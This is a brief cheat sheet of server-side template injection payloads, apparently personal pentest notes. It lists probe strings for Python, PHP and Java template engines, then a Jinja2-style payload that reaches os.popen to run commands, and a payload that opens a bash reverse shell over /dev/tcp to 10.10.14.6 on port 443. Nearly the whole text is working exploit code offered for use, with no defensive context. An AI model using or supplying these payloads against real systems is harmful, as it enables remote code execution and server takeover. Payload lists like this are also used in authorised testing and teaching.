SSTI

Server Side Template Injection

Testing Payloads

Python and PHP based frameworks:

{{7*7}}

{{config}}

{{self}}

---

Apache and Java based frameworks:

${7*7}

<% out.print(7*7); %>

---

Exploitation

Python global scope

{{ namespace.__init__.__globals__.os.popen('id').read() }}

Reverse shell

{{ namespace.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.6/443 0>&1"').read() }}